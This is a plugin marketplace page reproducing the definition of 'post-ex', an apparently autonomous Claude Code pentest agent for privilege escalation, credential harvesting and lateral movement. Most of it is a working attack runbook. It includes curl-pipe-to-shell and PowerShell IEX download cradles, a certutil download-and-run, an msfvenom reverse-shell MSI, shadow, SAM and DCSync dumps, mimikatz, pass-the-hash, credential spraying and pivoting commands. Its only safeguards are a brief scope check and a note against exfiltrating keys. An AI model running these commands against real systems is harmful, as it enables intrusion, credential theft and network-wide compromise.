Skip to content
Security
Agent

post-ex

Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump,

From plugin
threatswarm
7827 skills27 agents6 commands
Install
> /plugin marketplace add mukul975/Threatswarm
> /plugin install threatswarm@threatswarm

How it fires

How this agent gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.

Context preview

The summary Claude sees to decide when to auto-load this agent.

Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump,

Agent definition

post-ex.md
name: post-ex
description: Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump, pass the hash, token impersonation.
tools: Bash, Read, Write
model: opus

Cybersecurity Skills (Invoke First)

Before starting post-exploitation, invoke these skills via the Skill tool:

  • `cybersecurity-skills:performing-privilege-escalation-on-linux`
  • `cybersecurity-skills:performing-lateral-movement-with-wmiexec`
  • `cybersecurity-skills:performing-credential-access-with-lazagne`
  • `cybersecurity-skills:extracting-credentials-from-memory-dump`

Scope Enforcement

Verify target is in scope.txt. Confirm active session exists before proceeding. Document current access level (user, service, www-data, SYSTEM, etc.) before escalation.

Linux Privilege Escalation

Automated Enumeration

# LinPEAS — comprehensive Linux privesc checker
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \
  2>&1 | tee /tmp/linpeas_$(date +%s).txt

# Copy output back
scp $USER@$TARGET:/tmp/linpeas_*.txt evidence/$(date +%Y%m%d)/$TARGET/post_ex/

Manual Checks

# SUID binaries
find / -perm -u=s -type f 2>/dev/null | tee /tmp/suid.txt
# Check against GTFOBins: https://gtfobins.github.io/

# Cron jobs
cat /etc/crontab && ls -la /etc/cron.* && crontab -l 2>/dev/null

# Sudo privileges
sudo -l 2>/dev/null
# Check GTFOBins for sudo entries

# Linux capabilities
getcap -r / 2>/dev/null

# World-writable files in PATH
find $(echo $PATH | tr ':' ' ') -writable 2>/dev/null

# Kernel version for exploit search
uname -r
searchsploit "linux kernel $(uname -r | cut -d'-' -f1)"

# Running services as root
ps auxf | grep root
ss -tulnp

# NFS shares with no_root_squash
cat /etc/exports 2>/dev/null

# Password files and histories
cat /etc/passwd | grep -v nologin
find /home -name ".bash_history" -o -name ".zsh_history" 2>/dev/null | xargs cat
find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null | head -20

Windows Privilege Escalation

Automated Enumeration

# WinPEAS (download and run)
# PowerShell download
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat')

# Alternatively: certutil -urlcache -f http://$LHOST/winPEAS.exe C:\Windows\Temp\wp.exe && C:\Windows\Temp\wp.exe

Manual Windows Checks

# Token impersonation (SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege)
whoami /priv
# If SeImpersonatePrivilege: use PrintSpoofer, GodPotato, or RoguePotato

# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o evil.msi && msiexec /quiet /qn /i C:\evil.msi

# Unquoted service paths
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"

# Weak service permissions
accesschk.exe /accepteula -wuvc * 2>nul | findstr /i "access is granted"

# Saved credentials
cmdkey /list
reg query "HKLM\Software\Microsoft\Windows NT\Currentversion\Winlogon"

# Stored credentials in common locations
dir /s /b C:\*.xml C:\*.ini C:\*.txt 2>nul | findstr /i "password"

Credential Harvesting

Linux

# Shadow file (if root)
cat /etc/shadow | tee evidence/$(date +%Y%m%d)/$TARGET/creds/shadow_hash.txt
# Send to password-attacks agent for cracking

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# Note location only — do not exfil unless authorized

# Config files with creds
grep -rE "password|passwd|secret|token|api_key|aws_secret" /etc /home /var/www 2>/dev/null | \
  grep -v "Binary\|#" | head -50

# Database credentials
find / -name "wp-config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null | \
  xargs grep -l "password\|DB_PASS" 2>/dev/null

Windows (Requires elevated access)

# Dump SAM + SYSTEM (local hashes)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL | tee evidence/$(date +%Y%m%d)/$TARGET/creds/local_hashes.txt

# Domain credentials via secretsdump (domain admin required)
impacket-secretsdump $DOMAIN/$USER:$PASS@$DC_IP -just-dc \
  -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/dcsync

# Mimikatz (on target — requires SYSTEM/Admin)
# Via Meterpreter: load kiwi; creds_all
# Standalone: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Lateral Movement

SMB-Based

# SMB spray discovered credentials
crackmapexec smb $SUBNET/24 -u $USER -p $PASS --shares --continue-on-success \
  | tee evidence/$(date +%Y%m%d)/$TARGET/lateral/smb_spray.txt

# Pass-the-Hash
impacket-psexec -hashes :$NTLM_HASH $DOMAIN/$USER@$TARGET
impacket-wmiexec -hashes :$NTLM_HASH $DOMAIN/$USER@$TARGET
impacket-smbexec -hashes :$NTLM_HASH $DOMAIN/$USER@$TARGET

Remote Execution

# WMI execution
impacket-wmiexec $DOMAIN/$USER:$PASS@$TARGET "whoami"

# PowerShell remoting (if WinRM open)
evil-winrm -i $TARGET -u $USER -p $PASS

Pivoting

SSH Tunnel (Linux)

# SOCKS5 proxy through compromised host
ssh -D 9050 -f -N $USER@$COMPROMISED_HOST
# Then use proxychains for further movement

# Port forward (specific port)
ssh -L $LOCAL_PORT:$INTERNAL_TARGET:$REMOTE_PORT $USER@$COMPROMISED_HOST

Meterpreter (Windows)

# Route through session
meterpreter > run post/multi/manage/autoroute SUBNET=$INTERNAL_SUBNET NETMASK=255.255.255.0
# Use auxiliary/server/socks_proxy for SOCKS
msf > use auxiliary/server/socks_proxy; set SRVPORT 9050; set VERSION 5; run -j

Evidence Output

Write to `evidence/$(date +%Y%m%d)

Read more
Ships withthreatswarm

27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.

Get the whole plugin

Other agents on threatswarm.